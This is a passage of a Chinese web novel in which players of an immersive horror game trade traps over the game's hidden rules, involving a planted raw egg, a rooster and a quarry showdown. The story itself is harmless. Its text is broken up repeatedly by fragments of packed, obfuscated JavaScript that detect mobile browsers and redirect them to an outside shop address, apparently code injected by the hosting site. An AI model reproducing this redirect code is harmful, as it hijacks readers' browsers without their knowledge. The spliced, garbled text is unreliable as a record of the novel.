她觉得希泽他们说的没错,这游戏可以沉浸式体验,倒也不用这么沉浸,他们是来玩游戏的,又不是来换个地方体验牛马人生的。 “吱呀——” 木椅摩擦地板发出的声音从她侧前方传来。 喻诗瑭抬眼,跟女孩的母亲第一次对上视线,对方的眼神冷静,气质冷漠,整个人光是站在那,就能给人一种严肃高智的压迫感。 被她这么盯着,喻诗瑭突然有种忍不住想要抬头,挺胸,坐直的想法。 好在不等她有所动作,女人的视线就转到女儿身上,她轻轻拍了下静静的头,声音清冷但温柔的让她收拾好东西离开。 静静听话地把桌上她俩折好的金银锭抱起,正犹豫着要不要跟他们三人说声再见,希泽欢快的招呼先一步打消了她的尴尬。 喻诗瑭看到她露出一个腼腆的笑容,嘴角两边的梨涡凹出一个甜甜的弧度,然后才在母亲的陪同下,把所有金银锭放进门口的竹筐里,快步离开。 七点零三分。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765527|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >所以刚才响的确实是一更鼓,喻诗瑭把怀表又塞回外套口袋,顺手将塞进袖口的纸条给拽了出来。 纸条上的字迹虽然浅,但清晰工整,看力道跟留下的痕迹,像是用硬铅笔写的。 “一更天莫杀生,二更天莫应门,夜里别盯影子看。” 希泽凑了过来:“这是什么?哪来的?” “静静妈妈给的。”喻诗瑭把纸条放到桌面上,让他跟谷琳琳一起看,“应该是禁忌内容。” “啊!”谷琳琳小声惊呼,立刻神经质地伸头环顾四周,确认他们周边没有一个活物后,才压着气音质疑,“她突然给我们这个干什么?会不会有诈?” 希泽挠头:“没理由吧?她莫名其妙的诈我们干啥?” “谁知道呢,莫名其妙的帮我们听着也很诡异好不。”谷琳琳在希泽的目光中火速补充,“我不是莫名其妙的帮你们,我是有求于你们,她又没有求我们啥。” “先不管这个。”喻诗瑭收起三人都看过的纸条,把它塞进外套里面的隐藏口袋,“我们注意点就是。” “一更天莫杀生。”希泽想起昨晚那个被鸡啄死的玩家,背脊一凉,“昨晚那个不会是半夜杀鸡了吧?” “谁会一进来就莫名其妙地去杀鸡啊?”谷琳琳不苟同,“昨晚大家的任务都是一样啊。” “那是什么?踩到蚂蚁?话说踩到昆虫算杀生吗?” “额……算吧?” “哇塞。”希泽拍拍胸口,“还好现在是秋天,蛇虫鼠蚁少了很多,要是夏天的村子,拍死只蚊子都算杀生的话,那是真没活路了。” 没准备参与两人讨论的喻诗瑭站起身:“我再去拿点锡箔。” 希泽立刻自告奋勇:“小喻姐我去拿呀。” “没事,我顺便放松下,腿有点麻了。”喻诗瑭按下想跟过来的希泽,自己往门外走去。 客厅里的人已经换了一波,村长家今天是大儿子跟大儿媳守夜,喻诗瑭没过去,直径走到堆满锡箔的桌上,弯腰抱起一沓沉甸甸的锡箔。 还没站直身体,她就察觉到有人靠近,立刻起身想让开,却被人从侧面故意用力一撞,整个人歪倒在桌边,刚抱起的锡箔随即散落回桌上。 “抱歉。”没有诚意,满是恶意的道歉从身侧响起,陈柏北越过喻诗瑭拿了一叠锡箔,在手心里拍了拍,挑衅,“我没看到有个人,下次自己注意点,最好后脑勺能长个眼睛看路。” 说完也不给她开口的机会,嗤笑一声,转身从客厅大门离开。 喻诗瑭侧身撑在桌子上,磕到桌子边缘的大腿部位发出阵阵刺痛,不过也还好有桌子挡了一下,不然自己少说也得跌个狗吃屎。 神经病。 喻诗瑭在心里记了一笔仇,靠着桌子把刚才散落的锡箔重新规整好抱起,转身回房间。 虽然大腿跟掌心都在隐隐作痛,但她走回座位的几步路,看不出有什么不对劲。 直到她拉开外套正要坐下时,表情才猛地一变,僵在原地。 “怎么了小喻姐?” 耳边是希泽的声音,喻诗瑭充耳不闻,她伸手去摸外套口袋里的东西,手指在确认过那东西还是完好的状态后,才小心翼翼地将它从口袋里掏出。 一枚生鸡蛋。 确切地说,是一枚被磕出条细裂缝的生鸡蛋。 看不出鸡蛋生熟的希泽疑问:“鸡蛋?小喻姐你饿啦?要我去给你找点吃的吗?” 喻诗瑭脸色一沉,转头看向门口,语气平静地回答:“这鸡蛋是生的,他在拿我做实验。” 22. 三更鼓 “什么?谁?”察觉到不妥,希泽原本斜靠在桌面的身体都坐直了,“谁在拿你做实验?” “陈柏北。”喻诗瑭把刚才自己拿锡箔时发生的小插曲简单概括,总结:“他应该是先把鸡蛋放进我口袋,然后故意从另一侧撞我,想让我撞上桌子把鸡蛋磕破,但是——” 喻诗瑭从同一个兜里掏出怀表:“它垫住了鸡蛋的高度,所以撞到桌子上的是怀表,鸡蛋上的裂缝应该是磕碰到怀表造成的。” “他有病吧?”希泽嘭地一下站起来,怒气冲冲的,“我去找他算账!” “坐下。”喻诗瑭伸出食指按在希泽的肩膀上,连力都没用就把他摁回椅子上,自己也坐了下来,“放心,我心里有数。” 希泽虽然生气,但很听话,嘟嘟囔囔地在那吐槽:“小喻姐你就是太善良,才会让这种人欺负,话说这神经病到底要干什么?放个生鸡蛋什么意思?就为了把你的衣服弄脏?” 善良的喻诗瑭不这么认为:“我觉得他是想确定,我弄破鸡蛋后会不会触犯规则。” “啊?”希泽懵了,“有跟鸡蛋相关的规则?” “不一定,他应该也不确定。”喻诗瑭冷静地分析,“我们不是诈出他从昨晚开始就跟着我们吗?我估计他也看到那名玩家被鸡啄死的场面,他不确定规则是什么,但他知道玩家的死亡方式是跟规则相关,所以才围绕着跟鸡有关的东西一个个测。” “对了,你之前说的‘死测’,是不是就像这样,利用玩家来完成对规则的验证?” 后面这句话问的是谷琳琳,见她使劲点头,喻诗瑭还有心情点评一下陈柏北:“从逻辑上看来说,他想的没错。” 但他挑错对象了。 最后一句记仇的话喻诗瑭没说出来,看似老实巴交的在那听谷琳琳说。 “利用玩家做‘死测’在老玩家里,是非常常见的一件事,像陈柏北这种坏得这么明目张胆已经算是好的了,起码你能看的出这个人坏且蠢。”谷琳琳脸色难看地说,“怕的是那种两面三刀的坏,狠起来连自己队友都坑的人,根本防不胜防。” “要我说,现在这种情况就是这些人造成的。”希泽愤愤不平,“明明能是大家共赢的局面,非得互相坑!” “大概是因为,共赢的前提是没人会被利益所伤,现在有了积分排名的冲突,共赢的局面就不会存在。”喻诗瑭没在这个话题上衍生展开,还是转而回到现在的问题上,“不过陈柏北想到鸡蛋做测试,未必没效果,别忘了静静妈妈给我们的提示,‘一更天莫杀生’。” “噶?”希泽嘴比脑子快,“鸡蛋也算动物?它不是食物吗?” “等等,照你的说法,家禽不也算食物的一种。”谷琳琳站队喻诗瑭的推测,“而且鸡蛋光从外表上看,也看不出它里面是蛋黄还是胚胎,已经成型的胚胎,也算生命吧?” “哇塞,要是这么算的话,不得没完没了。”希泽也举例,“那细菌还算低等微生物呢。” “你这就属于抬杠了啊。” “停!” 眼看两人要杠起来,喻诗瑭直接伸出一根手指立在两人中间,阻止了这场没意义的辩论:“把鸡蛋磕坏算不算杀生这个问题,我们暂且不论,陈柏北这一手,起码证明了他没有我们想象中的蠢。” “小喻姐,你这是什么意思啊?”希泽没明白。 “我有一个问题。”喻诗瑭没答先问。 谷琳琳感觉快被喻诗瑭训成游戏手册了,她一说有问题,谷琳琳立刻处待机状:“小喻姐你问。” “如果一个玩家几乎同时违反两条规则,那惩罚会怎么算?” “按先后顺序,先违反哪条,就算哪个惩罚。” “先后顺序……”喻诗瑭若有所思,“那有可能出现一个行为同时触犯两个规则的情况吗?” “一个行为同时触犯两条规则?”谷琳琳一时没能理解,“这不就等于规则重复了吗?” “不是规则重复,打个比方。”喻诗瑭轻晃了下手中的鸡蛋说,“你看,如果我砸坏这个鸡蛋属于杀生,那就违反了‘一更天莫杀生’的规则。” “同时鸡蛋也是食物,如果砸碎后,我没想到解决的办法,同样也违反了‘不能浪费粮食’的规则,这不就是一个行为同时触犯两个规则吗?” “!!!” 这是什么反向一石二鸟的比方? 比起答案,谷琳琳现在更想知道喻诗瑭到底是干什么工作的,怎么每次想问题的角度都这么刁钻?! 喻诗瑭现在深谙谷琳琳回答问题的模式,看她表情呆滞,半天没回答,立刻明白这问题的答案对她而言是不确定的:“所以介绍里没有详细的一条对吗?” “介绍里确实没有这一条……”谷琳琳没法下绝对定论,只能把自己知道的说出来,“但目前为止我没见过有这种情况,而且这个好像没什么意义……吧?” 谷琳琳莫名紧张起来:“无论是触犯一条规则,还是触犯两条规则,结果不都是要受到出局的惩罚吗?顶多就是出局的方式不同……不是吗?” “是,但如果一个行为可以同时触犯两条规则。”喻诗瑭简单反问,“那反过来看,两个不同的行为,是不是也能同时触犯一条规则?” “对我们来说,前者可能不重要,但后者就有点重要了。” “啊!!”谷琳琳明白喻诗瑭的意思了。 喻诗瑭也没想着这会就能得到答案,只是在心里把这条列为待验证,跟着回到陈柏北的身上:“所以才说,陈柏北没我们想象中的蠢,他塞给我的鸡蛋要是真的被我弄坏,我横竖都得出局,同时他还能根据出局的惩罚来判断规则。” “毕竟不能浪费粮食这条规则,现在相当于是明牌。” “我靠这人也太阴险了!”希泽加重语气,“阴险中的阴险!奸诈小人!” 比起生气,谷琳琳担心更多一点:“小喻姐,这人明显已经盯上你了,之后我们得多小心点他。” 差点被坑的人,反倒成了三人里唯一一个既不生气,也不担心的人。 喻诗瑭不解:“为什么要小心他?” 谷琳琳急了:“他肯定还会再下手的啊!” “那我们先下手为强不就行了。” “啊?!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773895|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 希泽兴奋,谷琳琳惊慌,两人异口同声地问:“怎么先下手为强?!” “以牙还牙。” 喻诗瑭站起来,跟个周扒皮一样点了点两人:“折你们的金银锭,我回来时要听到你们进度条到达1%的消息。” “!!!” “!!!” 没管两人如晴天霹雳的表情,喻诗瑭揣着鸡蛋就出门。 白天做菜的棚子里已经被收拾干净,连点残渣都没剩,只有几个煤炭炉没闲着,每个上面都放了个底部已经发黄的烧水壶,咕噜咕噜地续着热水。 喻诗瑭转悠了一圈没找到自己需要的东西,她站在棚子下呆立了一会,目光跟狙击镜一样,把肉眼能看见的人全扫了一遍,最终定到某人身上,走了过去。 十分钟后,喻诗瑭从村长家后厨房退出来,笑眼弯弯地跟厨房里的人打招呼:“谢谢吴婶啊,麻烦您了。” “瞧你这孩子客气的,这算什么事。”吴婶连连摆手,说完还觉得不够,担心地问,“真不用给你弄几个新鲜的吗?要不婶子顺便给你煮碗面吃吧?” “别别别,婶子我不饿,再说,晚饭那会才破的有什么不新鲜,别浪费食物,哦对了婶子。”喻诗瑭又跟她确认了一遍,“您刚才说住我隔壁的陈爷爷以前是老师,现在还在帮人写书信对吧?” “是啊,陈老爷子字写的可好了,不光我们村,隔壁也有不少孩子平时会过来跟他学习呢。” “行,我知道了,谢谢吴婶,我先走了啊。”生怕慢一步就得吃上顿夜宵,喻诗瑭道完别,完全不给吴婶挽留的机会,人一出视野就窜没影了。 村子里的人本来就不多,尤其是这个点,基本不是在家躺着,就是在村长家帮忙,外面的街道唯一能看见的生物,就只有几条趴在自家门前的看门狗。 喻诗瑭表情烦躁的在村长家门口张望了一会,半晌才像找到目标一样往斜对角的一户人家走去。 这家门口有个小台阶,台阶两旁各放了一个不到她腰高,已经秃噜的只剩树干的盆栽。 喻诗瑭站在盆栽前面,深呼吸了好几下,才把手伸进自己的外套口袋,表情扭曲地从里面掏出一些黏糊糊的东西,扔到盆栽里,跟着嫌弃地甩了甩手,转身快步回村长家。 不过几分钟,又见她匆匆忙忙地从村长家跑出来,拿着个灯笼一下窜进隔壁小巷里,不见踪影。 大约过了五六分钟,陈柏北拿着手电筒从村长家斜对面的小巷里走出,另一只手上攥着刚刚拿到的一叠锡箔,直径走到喻诗瑭刚才停留的盆栽前蹲下,捡起一根掉落在地的小树枝,去翻盆栽里的东西。 在确认了盆栽里的东西是自己所想的,陈柏北站起身,随意把小树枝丢到一旁,用手电筒往喻诗瑭离开的小巷里照了照,语气嘲弄。 “活该。” 丢下这两个字,陈柏北先是不慌不忙地折回村长家,把那叠锡箔放回原处,接着才顺着喻诗瑭离开的方向跟上去。 只是陈柏北前脚才离开村长家,一个花里胡哨的身影后脚也跟着从村长家离开。 三人的身影消失在了同一条小巷内。 23. 三更鼓 昏暗狭长的后巷内,忽上忽下的淡黄色光束成为巷子里唯一的照明点。 陈柏北拿着手电筒,警惕地沿着墙壁往前,时不时前后张望。昨天他就是在这里跟上喻诗瑭他们,一直到喻诗瑭从村长家回到自己“家”完成任务,他才离开。 所以这会即使没一路跟着喻诗瑭,陈柏北依旧凭着记忆找到喻诗瑭的“家”。 跟挨家挨户都挂着两盏灯笼不同,喻诗瑭“家”门口只剩一盏灯笼,孤零零的在半空中摇摇晃晃,比他手电筒还微弱的光颤颤巍巍的,像是随时要罢工。 陈柏北站在门口左右张望了一圈,跟着收起手电筒,把门上仅剩一盏的灯笼也给取了下来。他昨天看到喻诗瑭是摘了灯笼才进的门,虽然不知道对方这么做是出于什么原因,但他还是有样学。 唯一不同的就是他摘下灯笼后,没像对方一样立刻推门进去,而是猥琐地把耳朵贴到门缝上,试图听到一些可用情况。 可除了风吹过门缝带出的大自然回响外,房内没有一点其他杂音。这门板无论是厚度,质量,还是闭合程度都谈不上隔音效果这四个字。 这么安静,难道人还没回来?可她离开的方向确实是这边没错啊。 陈柏北怀疑地打开副本地图,确认目前地图显示的安全屋依旧只有一个,他不觉得昨晚开这个安全屋的二百五会是这个姓喻的,别的不说,从没出过错的精准直觉告诉他——这女人不简单。 没回来,没开安全屋……难道鸡蛋没碎,这人已经去做任务了?总不能是跟昨晚那个玩家一样,已经出事了吧?这女的不像这么废啊。 陈柏北烦躁地猛抓后脑勺,他本来就不擅长动脑,全凭一股子狠劲跟直觉苟到现在,今天如果不是有人给他提示,光靠他自己,到死都想不出这种一箭双雕的办法。 等等!该不会那货驴他的吧?其实鸡蛋跟规则一点关系都没有,浪费食物也不是什么规则? 越想越没头绪,陈柏北“呸”地一声国粹出口,最后还是选择相信自己的视觉,直接关掉副本地图,再次鬼祟地张望了一圈后,从后腰抽出一把短匕首。 这个村里用的还是老式木门,屋内也只有最简单的木质门闩,短匕首被插进两扇门缝中间,他想试试能不能从下往上把门闩捅开。 没想到刚一用力,匕首还没怎么动,木门就“吱呀”一声被推开,陈柏北浑身肌肉瞬间进入备战状态,躬身握拳,一副随时准备出击的架势。 秋风卷着落叶从小道滚过,按秒流逝的时间没给场面带来一丝变化,紧绷的肌肉也逐渐放松下来,纸灯笼率先进入门内,为漆黑一片的客厅带来一丝聊胜于无的亮光。 轻到无声的脚步迈了进来,顺着客厅中央的桌子走了一圈,接着毫不迟疑地朝右侧紧闭的房门走去。 “吱——呀——” 里屋木门打开时的声音拖得比大门还长,一道不比灯笼亮到哪去的光线从打开的门缝中泄露出来,按在木门上的手无所谓地继续往前推。 锯木般刺耳的声音在门被开到大半时骤然消失,取而代之的是一声类似野兽地低吼声。 一只羽毛丰满艳丽的公鸡此时正在土炕上来回踱步,银色的喙尖在暗黄色的暖灯光下,依旧冰冷尖锐。 陈柏北维持着开门的姿势僵在原地,骤然收缩的瞳孔本能的反应出他最真实的情绪。 不过他胆子还是大,几个深呼吸就缓了过来,视线小心翼翼地从公鸡的身上移到它的脚下。 鲜红一片。 踩在上面的鸡脚不可避免的沾染上同样的红,走到哪印到哪,导致原本该是瘆人的场景,反倒呈现出一丝诡异的荒诞。 陈柏北的直觉告诉他这场景有些奇怪,具体什么原因脑子又说不上来,满眼只有一条直观线索——这血是新鲜的! 抛弃违和又想不到原因的感觉,嘴角缓慢地往上咧出一个变扭的弧度。 真的死了!所以规则真的跟鸡蛋有关!那人没骗他! 陈柏北激动地双手握拳,脚步一挪就想过去看看,却在那只公鸡冷冷地注视下又退了回去。 正犹豫着是离开还是继续等,本来就不隔音的门外传来两道由远至近地交谈。 “快点,一会小喻姐该走了。” “我知道,你等等我!” 男生又急又亮的声音很有辨识度,陈柏北一听就知道是那个姓喻的小跟班,另一个女生不用猜也知道是哪个。 为了以防两人一言不合推门进来,他贴着门框身体微微倾斜,是个随时躲进里屋的姿势。 “小喻姐!小喻姐你在吗?”连续几声没得到回应,希泽困惑地嘟囔起来,“不在吗?” 谷琳琳硬邦邦地猜测:“是不是先过去了?” “啊!!不是说好的一起走嘛!小喻姐!?!”希泽又喊了两声,发现自己真的被喻诗瑭丢下,顿时更急了,“那我们快去采石场那边找小喻姐吧。” “小喻姐不是说如果没等到她,就让你先去把任务做了,然后再去找她吗?” “现在还有一点时间,再说那边有三个可以领的支线任务诶,总不能让小喻姐一个人在那边干等吧,出事了怎么办?” “反正小喻姐是这么交代的,你不听,一会她要是生气了可不关我的事,我可是听话了。”听上去谷琳琳说得底气不足,但直拿希泽命脉,他哼哼唧唧了半天还是叨逼叨地妥协了。 两人的声音跟脚步一样越走越远,直到消失。 陈柏北看了眼还在甩爪子的公鸡,脸上闪过一丝犹豫,最后还是转身离开,快步返回村长家去打听那个“采石场”。 没被关严的大门在秋风地痛殴下“吱吱呀呀”,没一会又被一只穿着皮质高筒靴的脚给抵开,发出烦躁地抗议。 配件“叮铃哐啷”的声音一步一响,在安静的屋内彰显着难以忽略的存在感。 跟鬼鬼祟祟的陈柏北一比,严棕禾大方得跟在自己家一样自在,背着双手就进了里屋,在看到炕上那一摊红跟来回晃荡的公鸡时,表情是毫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802085|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掩饰地嫌弃,啧出声。 公鸡像是懒得搭理他,爪子在被子上来回蹭了几下,发现沾染的红色根本无法蹭掉,愤怒地低吼了几声,扑腾着翅膀就跳下床。 深怕沾到一丁点不知名液体,严禾棕一个侧身给它让出条道,看着它跳出房门,临走前还不忘泄愤一般狠啄了几下木门。 有病。 严禾棕冷淡地翻了个白眼,转身走近土炕,大片红色在暗黄色的灯光下,微微偏橙。 “切。” 没有礼貌地嘲讽后,他转而看向床边紧闭的木窗,隔着从口袋里掏出的手帕,推开并没上锁的窗户。 仅用过一次的手帕被随意丢到一旁,严禾棕按着腹部的衣服往窗外探去。 窗户下面那张蜡黄的脸就这么撞进视线,大而空洞的双眼直勾勾地对上严禾棕的视线。 他呼吸一顿,下一秒就看到那双眼睛缓慢地往上移动,翻出个吊死鬼的白眼,舌头还不忘往外一吐,“略”地一声打了个配合。 严禾棕眼神跟看傻子一样:“……有意思?” 喻诗瑭把放在下巴位置的灯笼移开,恢复了该有的脸色,同时摆正表情表示:“蛮有意思的啊,你不觉得吗?” 两人对“有意思”的定义显然不一致,严禾棕没搭理她这茬,打了个手势示意她站起来,问:“你把床搞成这样糊弄那二百五,准备做什么?” “没听懂你在说什么。” 喻诗瑭扶着窗台站起来,拍了拍后背沾染上的灰尘,无辜地说:“我只是不小心把借来的红墨水给撒床上了,正准备收拾就听到有人私闯民宅,我一个手无缚鸡之力的女孩,不得躲起来吗,万一是个歹徒,那我多危险。” 这通说辞在严禾棕听来跟放屁没两样:“手无缚鸡之力,那刚才那只鸡为什么会出现在这里?” 喻诗瑭站在窗外,做作地眨了眨自己那双大眼:“我一个小女孩自己在家,不能抓…找一只有战斗力的宠物帮我看家吗?再说,这村子里人人养鸡,怎么,还不准我家也有一只啊。” 越看喻诗瑭,那种熟悉的讨厌感就越发强烈,严禾棕冷哼一声又下了个地图炮定论:“你们姓喻的果然都很讨厌!” “客气。”喻诗瑭把这话当夸奖收下了,目光追着转身就要走的严禾棕,冷不丁地来了一句,“你好像对我没出局这事一点也不惊讶?” 严禾棕停下离开的脚步,扭头抬着下巴问:“你想说什么?” “玩家如果出局,NPC会不会知道他是因为什么而出局的?” 严禾棕眉尾一挑,一脸得意地露出“求我”的表情,慢悠悠地问:“你想知道?” “啊……”喻诗瑭拖着长音缓了两口气,跟着才露出一个比严禾棕还不怀好意地笑,学着对方的腔调开口,“所以玩家有没有真正出局,NPC是知道的,也就是说,你们NPC之间的信息,或是部分信息,是相通的?” 意识到自己又上套了,严禾棕咬着牙,挤出四个字:“你又诈我!” 24. 三更鼓 村子通往后山的路跟进村的前路不一样,没有像吊桥跟石柱一样的明确分界,只有几条蜿蜒小道从村里各个角落延伸出来,而且小道看上去不像特地修的,更像经年累月被人给踩出来的痕迹。 喻诗瑭挑了条最偏的小道走,手上的灯笼还是从自“家”门口上薅下来的那个。 经过一个晚上的折腾,纸糊的外壳显得有点破破烂烂,里面的蜡烛却意外的耐用,一路上无论秋风怎么吹,烛光愣是屹立不灭。 刚才她前脚把严禾棕气走,后脚就立刻翻回自己“家”,土炕上的红色墨水已经完全渗进棉被。她也不知道该怎么处理,于是干脆连垫子一起卷吧卷吧塞进柜子,把妈见打行为进行到底。 勉强算是收拾完残局,正准备提着灯笼离开“家”,二更天的更鼓先一步敲响。 她只能重新关紧大门,任由不知哪家窜来的狼狗,在门口嗷得撕心裂肺,毫不犹豫地转身回到里屋。 规则说了不让开门,又没说不让开窗。 喻诗瑭熟练地跳出窗外往山上的采石场赶去,心里还在琢磨从严禾棕那里套来的消息。 所以即使是玩家,在随机成NPC期间,也是能跟普通NPC互通消息的。 先不论互通的消息有多少,单是能知道其他玩家是否真实出局这一点,就能肯定共享的是这个副本里的部分数据跟真实情况。 喻诗瑭提着的灯笼的手,无意识地摩挲着手柄,开始想之后的问题。 如果她一直无法恢复记忆,待机界面又没有能够帮助她的信息,她想要离开这个游戏,就必须要找到更多有关游戏内部的线索,成为NPC或许是个机会。 那,要怎么成为NPC呢? 虽然谷琳琳一直说玩家的角色还有类型,都是进入副本时系统随机的,但再随机它也就是个游戏,肯定是有底层数据支持,否则要是一个刚进来的新人玩家随机成NPC,那不是乱套了。 好,问题又来了。 游戏规则这些她可以通过副本来验证测试,这个概率跟游戏数据,她要怎么才能搞到手呢? 喻诗瑭停下脚步喘了口气,真是一个问题接着一个问题,不过现在最大的问题,是动脑思考并没能有效地帮她转移注意力,该累的时候还是累! 她回头看了眼自己走来的路,又抬头看了看还又一大段的上坡路…… 好消息,这采石场里村子很远。 坏消息,这采石场里村子很远。 这破沉浸式体验怎么都没个体能加点面板!差评再+1! 没有快速增加体能的办法,喻诗瑭认命地继续往上走,只不过心里从琢磨问题改为叨逼叨起游戏。 等她从策划骂到投资人时,总算是到了目的地。 喻诗瑭双手叉腰,半弯着腰,边喘边绕着采石场观察起来。 采石场比她想象得还大,到处都立着开采到一半的石块,杂乱无序,开采工具也被很随意的丢在各个角落,上面布满了泥土灰尘,看起来不像是有人来干过活的样子。 好在架在外围一整圈的大型采矿灯还能使用,全部打开的同时,四面八方照射来的强光,把采石场照得比白天还亮堂。 面对像个半成品的采石场,喻诗瑭感觉有点奇怪。 一个穷得叮当响,没几个壮年的村子里,居然有这么一大块荒废的采石场,还有好几台能支持所有采矿灯运作的发电机,关键是这些发电机还是好的。 这副本设计的总给她一种,策划师穷不明白的感觉,整个副本场景乍看之下弄得跟资料里记载的一样还原,实际上是花里胡哨地整了一堆不符合实际情况的bug。 简单来说就是精致地糊弄人。 不过喻诗瑭能察觉到不对劲,不代表其他人也能察觉到,起码这会正赶过来的陈柏北就一心只想赶路。 从村长家问到位置以后,他就一路狂奔,直到抵达采石场发现这边还是漆黑一片,才稍稍松了口气。 看来那两个小跟班还没做完自己的任务。 陈柏北在心里暗自窃喜,没想到居然还能白捡三个支线任务,毕竟他到现在都还没完成第二个任务。 确切来说,只要是需要动脑子的任务,他都完成的很艰难。 从进游戏到现在,除了靠鬼一样的直觉躲过不少次危险,其他时候他都是靠需要纯体能完成的任务,或是简单粗暴的支线任务来攒积分。 一旦遇到需要分析或是要动脑规避风险的任务,他要么是推人出来挡枪直到任务完成,要么就是干脆放弃,转而搜罗相对简单的支线任务。 再加上抠抠搜搜地省着积分,也成功让他混到现在。 就是不知道是他这走一步是一步的运气先能到头,还是这破游戏先被修好。 管他的,先把这局给任务的NPC找到再说。 陈柏北抹了把脸,举着跟他一样还在苟活的手电筒四处张望。 他绕着采石场外围走了一圈,别说人影,连个鬼影也没有,怎么看都不想有能发布任务的人。 难道自己又被骗了?不能啊,那两个小跟班又不知道自己在房间里。 陈柏北不死心,他好不容易能有捡到三个支线任务的机会,不能就这么放弃。 外围没有能触发任务的点,往中间走点说不定能有NPC跳出来阻止,继而领到支线任务,之前也不是没出现这种情况。 心里带着对自己判断的信心,陈柏北蹑手蹑脚地往采石场中间走去。 没有,除了细碎的石块,还是什么都没有。 陈柏北的直觉开始反应起不对。 支钱任务不需要做前置,属于先到先得,虽然有些支线需要事件进行到某个时间段才会出现,但按照门外那两个小跟班的说法,他们是收到指明支线任务的线索才准备过来。 难道任务被人领走了? 陈柏北警觉心瞬起,这里还有别人!他转身就要离开。 “噔!” “轰隆!” 大型探照灯开启的声音跟发电机的轰隆声同时响起,按下他预备抬起的脚。 刺眼的强光从正面照射过来,在陈柏北身后拉出一条细长漆黑的影子。 他下意识闭上眼,双手本能抬起遮在眼前,一连串脏话更是张口就来,也不管对方听不听得见。 “喂!人在后面呢,骂人都找不对方向。”一道异常熟悉的女声传了过来。 陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808065|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柏北其实根本没分辨出声源处,只是听到内容迅速转身,因为背光让眼睛有了喘息的机会,他眯起眼,看向不远处那道模糊的身影。 模糊,但眼熟。 “怎么?”不太友好的女声漫不经心地调侃起来,“这就瞎了?也太不经用了吧?” 被爆闪过的眼睛逐渐恢复,陈柏北也想起来这熟悉的声音是谁了! 那个姓喻的! 看着正前方坐在石块上的喻诗瑭,陈柏北表情狰狞地咬牙:“你没死?!” “嗯?为什么我会死啊?”喻诗瑭晃了晃悬空的小腿,悠哉地对陈柏北的话感到困惑,“你是做了什么会让我死的事吗?” “我!”没法出口的话被硬咽了回去,陈柏北的额角爆出了几根忍耐的青筋。 看到陈柏北那副被迫吃下臭鸡蛋的表情,喻诗瑭身心舒畅地跳下石块,朝陈柏北走去。 “你有点小聪明,但不多。”喻诗瑭边走边相当不礼貌地用食指跟拇指捏出一个小缝隙,单眼一眨,火上浇油,“真的就只是有点。” 陈柏北缓慢握紧双拳,死死盯着喻诗瑭一步步靠近,脸上露出被羞辱的愤恨。 “我一开始以为你是个聪明人,现在看来,你这脑子也只剩研究价值了。” 喻诗瑭不遗余力地挑衅着,丝毫不在乎自己跟对方差距悬殊的力量,像是笃定对方不敢动手,于是狂过嘴瘾:“毕竟人类智商低到你这份上,确实挺值得研究。” 喻诗瑭的直白挑衅对陈柏北这种直脑子来说,确实相当奏效,他心里那点不对劲的直觉早被怒气抛之脑后,满脑子只想着要怎么弄死眼前这人。 “你真以为我不敢揍你?”陈柏北阴沉沉地放狠话,“你知不知道,只要不打死或是致残,单纯折断你的四肢,系统只会判定我为轻度伤害,我撑死就被扣个本场积分,这点积分对我来说,不痛不痒。” “哦?”喻诗瑭停下脚步,已经彻底走进陈柏北影子范围的她,表情变的有些模糊,嘴巴却还不消停,“你这么一说,我是不是应该表示一下害怕,或是尖叫一声求饶呢?毕竟我只是个手无缚鸡之力的小女孩。” 陈柏北背光的脸上黑得看不清五官,紧绷的下颚因为用力过猛,隐隐发颤。 “真生气啦?”丝毫不顾及两人之间不过几米的距离,喻诗瑭呲着牙,咧出一个没有笑意的表情,把自己这张自带嘲讽的脸运用到了极致,“男人也这么小气啊。” “你真的找死!” 陈柏北绷到极限的忍耐断裂,原本就没什么理智的大脑,这会几乎被“一定要弄死这姓喻”的一件事占满。 看准陈柏北动作的瞬间,喻诗瑭往后倒退一步,露出一个得逞的笑容。 